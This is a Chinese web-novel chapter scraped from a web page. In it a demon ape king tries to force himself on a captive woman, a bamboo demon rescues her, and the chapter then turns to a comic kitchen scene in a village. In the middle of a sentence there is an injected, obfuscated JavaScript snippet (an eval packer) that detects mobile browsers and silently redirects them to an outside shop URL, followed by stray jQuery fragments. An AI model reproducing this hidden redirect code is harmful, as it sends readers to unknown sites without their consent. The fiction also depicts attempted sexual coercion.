另一头,督底深渊的岩层内有暗流滑过,水流顺着崖壁裂隙汇入一处隐蔽的峡谷,自谷口流出后,与外面听澜江的分支相连通,形成了一汪碧蓝的湖泊。当地人名之曰:镜湖。
镜湖湖畔是成片的果林,正值仲夏,浓绿的枝叶间隐隐可以窥见许多带着细短绒毛的青涩果实。
浓绿的林影与湛蓝的天光一起倒映在平静的湖面,忽而一片落叶飘旋,在湖面上引起了阵阵涟漪,却丝毫没有撼动这倒影。
细看去会发现,这偌大的湖泊内没有一尾游鱼,而那镜中的倒影看得久了,竟叫人头晕目眩。
落叶漂浮了没多会,便像石子般直直向湖底沉去。
平静的湖面下,暗流涌动不息,叶子边往下沉边急速旋转了起来,直到被湖底的浑黑吸了进去,再看不见。
叶片消失的刹那,一道赤黑暗影如墨般自湖底扩散,顷刻便飘远看不出痕迹了。
深入那混沌般的浑黑,迎面是成片的泥沙,打在脸上粗粝得叫人睁不开眼,继续前行百十来步后,视线骤然清明。
只见前方湖床的黑沙之上,居然矗立着一座水玉垒起的牌坊,上书匾额:督底神国。
穿过那牌坊,湖底的一片岑寂中终于得闻热闹的声息,是不绝于耳的歌舞丝竹之乐。
牌坊过后,入眼是一片俨然宫殿。每一座宫殿的檐角都装饰着金灿灿的金粉,富丽堂皇之极。
中央的极乐殿内,长袖漫舞。
大殿玉阶之上,坐着一道小山般的赤黑色身影,它抬起蒲扇般的大手,抚弄起了怀中妖娇的舞姬。
“大王~”舞姬的领口被搓开了一角,她慌忙抬起双手捉住了那只大手,却娇羞地仰起脖颈,在那布满刻痕般褶皱的赤黑大脸上印下一吻。
从始至终,她含情脉脉的目光都黏在这个白发赤面的巨猿身上,就好像它是这世间唯一的神明。
下首客座,独自赏乐的竹妖看见这一幕,有些羡慕地端起案几上的琉璃杯一饮而尽。
王座上的朱厌王被可人儿的主动献吻逗得一乐,可它洪钟般的笑声刚出口就戛然而止,眉心的川字也一下子被挤作了卅字,就听它忽然对着下首质问道:“贤弟,你为何支使弟妹向那神女通风报信?”
竹妖的目光越过大殿内身着轻纱曼舞不息的女子们,望向大门口,他心念一动,便感应到他的妻子沾染了满身泥沙,正站在神国结界入口处用力拍抖衣裳。
他连忙起身对着上首连连作揖:“许是我的夫人思念家人,必不是故意泄露神国踪迹!她不懂事,还请大哥多多海涵!”
朱厌王大手一伸,掌心便浮现出一只泛着青光的古拙宝镜,它朝着镜子里看了一眼,在竹妖越弯越低的身影中缓缓出声:“也不是大哥不讲理,弟妹虽未向神女透露神国的所在,却私自放走了祭品。贤弟啊,看在你赠我宝镜的份上,大哥决定亲自惩罚你的夫人,对此你可有异议?”
闻言竹妖一愣,不敢决然反驳,只追问道:“大哥打算如何处置蓉娘?”
朱厌王忽而裂开大嘴一笑,露出了满口森白的尖牙,温声安抚道:“贤弟宽心,我必不会伤了弟妹性命。”
想到就在这金碧辉煌的宫殿之下,黑狱内关押着无数的大小精怪,竹妖勉强牵起了嘴角,假笑应道:“呵,那就万望大哥手下留情了!日后小弟必为您寻来更多美人和珍宝!”
朱厌王大笑了两声,整座宫殿都跟着颤了颤:“贤弟果然懂事。那你先带弟妹回去休息罢,待到晚上,记得让弟妹来我寝殿领罚。”
什么罚要去寝殿里领?竹妖微蹙眉头,抬头道谢时却已是满面笑容:“听大哥的!”
他忽然懊悔,早知如此,他不该将他从别的妖怪那里抢来的昆仑宝镜赠给这厮了。
······
夜晚的镜湖湖底本该漆黑一片,督底神国的结界内却依然金光晃晃,只是光线较之白天时柔和了许多。
晏蓉乍闻她往外送信被发现,而那巨猿妖怪说要亲自惩处她时,她先是害怕,很快却是释然了——她等死已经很久了。
因此当神国内奏响一更天的钟声后,她素衣披发就往客房外走去,反倒是竹妖拉住了她。
竹妖细细凝望臂弯中的娇颜,他突然觉得,要是她实在没法喜欢他,但既然他们已成夫妻,那就由他喜欢她,便也够了。
思及此,竹妖不顾蓉娘挣扎,低头吻住了她,他抬手轻轻放在她脑后,撬开她的唇瓣后舌尖飞快地往里一探,在她发怒要咬他前笑着撤离,他轻抚她的发丝道:“别怕,我会陪着你一起的。”
蓉娘张嘴欲骂,不防一股带着浓郁竹香的沁凉滑入了咽喉,她一惊,竖起黛眉诘问道:“你给我吃了什么?”
竹妖松开她,倚着门框歪着嘴上下打量她生气的小模样,心底却莫名有些萧瑟的凉意,出口的语气倒还是轻佻不羁:“娘子这是一刻也舍不得离开我么?”
蓉娘听了这话,抬脚转身就走。
在她身后,似有一道叹息响起,很快又淹没在神国昼夜不息的舞乐声中。
晏蓉独自来到朱厌王的寝宫,大门自动打开,在她踏入后又吱呀一声自动合拢。
殿内一片昏黑,没有掌灯。
蓉娘蹙眉等了一会,还是开口扬声道:“大王?晏蓉前来领罪受罚!”
神国处在密闭的防水结界中,本不应有风,蓉娘却分明觉得有什么轻抚过她裸露在衣裳外的肌肤,不禁起了满身鸡皮疙瘩。
她轻捏指尖,感觉着竹妖的妖力在体内微微发热,心定了一点,便掏出了袖袋中的匕首横在颈间,她虽看不清,却能感觉到有一道黏腻的视线牢牢锁定在她身上,她无惧地道:“蓉娘自知罪孽深重,今日自戕于此,惟求大王不要迁怒我的家人!”
说完,她便将匕首摁向自己娇嫩无比的肌肤。
铮地一声,匕首忽然从中断裂,随着断刃落地发出声响,寝殿内的黄金烛台应声亮起。
蓉娘被突来的光亮刺得闭了闭眼,再睁眼,猛地发现一道小山般的身影就站在她身后,它在地上的倒影将她的身影完全吞没。
朱厌王看着蓉娘转身,水灵灵的杏眼有些惊惶地望向自己,只觉心痒难耐,它挥指弹开蓉娘握在手中的残匕,低头凝视着她娇美的容颜步步紧逼:“真是灯下看美人,越看越叫人心潮澎湃!”
蓉娘听到这披着毛皮的畜生出言不恭,心底的恐惧重新凝聚,她猜到了它的龌龊心思,双腿不由一软,倒退时不慎跌倒。
眼看着那怪物蒲扇般的大掌就要伸向她,一股异香忽然自她体内迸发。
朱厌王被这异香刺激得连打了好几个喷嚏,终是在越来越浓的香气中后退了几步,瞪着铜铃般的眼睛望着蓉娘,不甘地咕哝道:“可惜了,是个臭美人!”
然而它并不打算放过蓉娘,待她站起来偷偷往寝殿门口挪时,它假装继续低着的头,余光瞄到她的手即将碰到门闩时,它猛地欺身而上,如同猫戏老鼠般,几次将蓉娘从门口的位置逼退,它还在路过窗户时悄悄打开了窗扇。
然而,空气中的香气慢慢淡去,朱厌王却依然会在靠近蓉娘后又立刻假装急退两步,仿佛它完全无法忍受蓉娘身上的味道一般。
蓉娘浑身打着哆嗦,娇喘盈盈,这一次她好不容易摸到了门闩,侧后方却忽然袭来一股大力,将她整个人一下子掀到了寝殿中间的大床上。
她还不及呼痛,便感觉到一片阴影兜头盖了下来,她终是被吓得放声呼救:“檀郎!救命!”
寝殿打开的窗牖轻轻晃动了两下,一道青光闪入,自朱厌王的掌下夺走了蓉娘,又如狂风过境般直往结界入口处掠去。
嗅到鼻端熟悉的清冽香气,蓉娘轻咬唇瓣红了双眼,她恨自己不争气,骤然脱离魔爪回到了这竹妖的怀抱,她的心底竟油然而生了一丝心安。
竹妖顾不得看她的表情,来到结界口一把将她往上方的湖面托去,头一次严肃了表情叮嘱她:“往上游!不要停!带上岳丈离开东大荒,永远不要再回来!”
蓉娘脱离结界入水后连忙屏息,低头看着在水波涌动下竹妖长发飘飘,越显妖冶清艳的身影,原本想问他一句“那你呢?”,就见竹妖又运转妖力托了她一把,催促道:“快走!那畜生追来了!”
蓉娘想到那巨猿可怖的面目,还有神国内女子们痴迷空洞的眼神,打了个寒噤,扭头连忙拼命地往湖面游去。
竹妖最后望了一眼她的背影,转身凝聚全身的青光,化作一柄坚韧无比的竹剑握在手中,他将剑尖对准了咆哮着追来的朱厌王,微笑道:“深更半夜的,大哥这是急着要去哪呀?”
朱厌王看了眼上方快要化作黑点的人影,鼻孔舒张了两下,头顶的白毛根根竖起逐渐转为赤色,它怒目对着竹妖,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944450|211958||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一个字一个字地从牙缝中挤出:“你、找、死!”
言罢,二妖瞬间战作了一团,整个镜湖不再平静,湖内湖外都掀起了巨浪。
湖边,蓉娘浑身湿透地爬上了岸,夜色沉凝,只有一轮孤月高悬。
她看着镜湖湖面上暴怒的浪涛,心颤不已。她又唾弃起了自己,听说要被朱厌处决决定赴死后她没有动摇过,这会却忍不住有些担忧起那竹妖叶清檀的下场了。
她没有听他的立刻逃走,朱厌王并不认识她爹,只要她不回水帘村,那它必不敢在神女逗留此地之时大肆搜山。
蓉娘哆嗦着手取出袖袋中竹妖给她赔罪新做的雪白竹纸,沾取地上的黑泥在纸上给她爹写信让他快逃。信写好后,她的掌心青光涌现,将被叠成蝴蝶状的白纸投向夜空,纸蝶便顺着她的心意飘飘忽忽地朝着水帘村的方向飞去了。
做完这一切后,晏蓉呆呆地坐在湖边,望着巨浪在湖中搅动翻滚,直至最后平息。
天光将亮之际,湖心升起了一道身影,蓉娘下意识牵起嘴角踉跄地站了起来。
······
水帘村,晏老伯的院子里。
钟晴雪坐在钟离翛的肩膀上,指挥着他用钟溟带来的食材做玉子烧。
伴随着陋灶前升腾起阵阵的蛋香,晴雪为了维持神明的尊严,勉强克制住了想要吹彩虹屁的冲动,她双手搭在身侧轻轻拍打着钟离翛的肩膀,开心地道:“小鱼,你可真是个小天才!”
总是被神女小啊小的称呼,钟离翛轻轻摇了下头,朗笑了两声,他撇了眼躲在厨房窗外偷看的三人,面不改色地继续对着空气语气温柔地说道:“多谢家神夸奖。您喜欢用酸甜的青果酱还是咸香的鱼籽酱调味?”
食材简陋,他顺手用侍卫们一大早收集来的食材调了两味酱料。这些年独自在外游学,哪怕不带多的换洗衣裳,酱料他却是必会多带几味的。
“我两个都要!”晴雪轻轻踢动双腿,乐得双眼弯成了两只小小的月牙。
钟离翛又细问神明两种酱料她各要抹多少,窗外观察至此的钟溟终于忍不住低头问他身边的女孩:“钟离子鱼这是,彻底不装了?”
玉明玥仰头朝斜上方飞了一个小小的白眼,扭回头看着灶台前忙个不停的少年,还有他肩膀上扛着的闪闪发亮的五色光团,她不禁双手捧心道:“可真甜~你这种傻蛋是不会懂的!”
跟着凑过来的玉明璐站在他俩身后,闻着自窗户里不断传出的香气,不自觉地咽了咽口水,他睁着一双大大的圆眼睛应声虫似地道:“对!你这大傻蛋不懂~”
钟离翛抬起手毫不客气地在玉明璐的脑瓜上崩了一下,咚地一声清脆可闻,紧接着他品评道:“唔,这脑瓜长过头了,里面全是棉絮。”
玉明璐捂着脑袋嗖地一下躲到了他姐的另一侧,远离了这个一挥手就是一地脑袋的武疯子,感觉头皮一跳一跳地疼,他实在气不过,没忍住刺了他一句:“你才是疯子呢!”好悬咽下了后半句的“你全家都是疯子”。
这是反驳了钟溟这个武疯子总是喜欢说钟离翛是疯子的话。
钟溟侧眸看了眼玉野苹(玉明璐的字)的鹌鹑样,余光瞄到他姐也像松鼠一样鼓起了双颊,昂起头只当没听到这话,只用胳膊肘轻碰了一下少女的肩头:“喂,给我点灵泉用一下。”
玉明玥鼓着脸瞪他,却还是摸出袖袋中的透雕玉瓶递给了他,语气有些冲地道:“你少用点啊!傻蛋!”
钟溟垂眸看了眼她亮晶晶的大眼睛,嘴角轻轻上扬起一个弧度,但是转瞬即逝。
他接过玉瓶,故意大手大脚地倒了半瓶的灵泉水出来,在少女横眉跳脚着抢夺玉瓶时,他一把将瓶子举过了头顶,另一只手将泉水往眼睛上一抹,一阵轻微的刺痛过后,他下意识睁开眼看向少女被他气得青红不住变幻的脸蛋,语气微带笑音地道:“玉夫人真该把野苹这个名字给你才对······”
说完,他将目光投向厨房内,不禁慢慢瞪大了一双狭长的丹凤眼。
“胡说什么呢你!真浪费!快把瓶子还我!”玉明玥见他这么糟蹋玉氏的宝物,心疼得不行,她奋力蹦了两下发现实在够不着玉瓶,正气呼呼地想要支使弟弟帮她把玉瓶抢回来,就瞥见了钟溟仿佛活见鬼般的表情,她没忍住咧嘴一笑,有些得意地道:“真是头发短见识也短!你们钟氏的人从没见过神明吧?”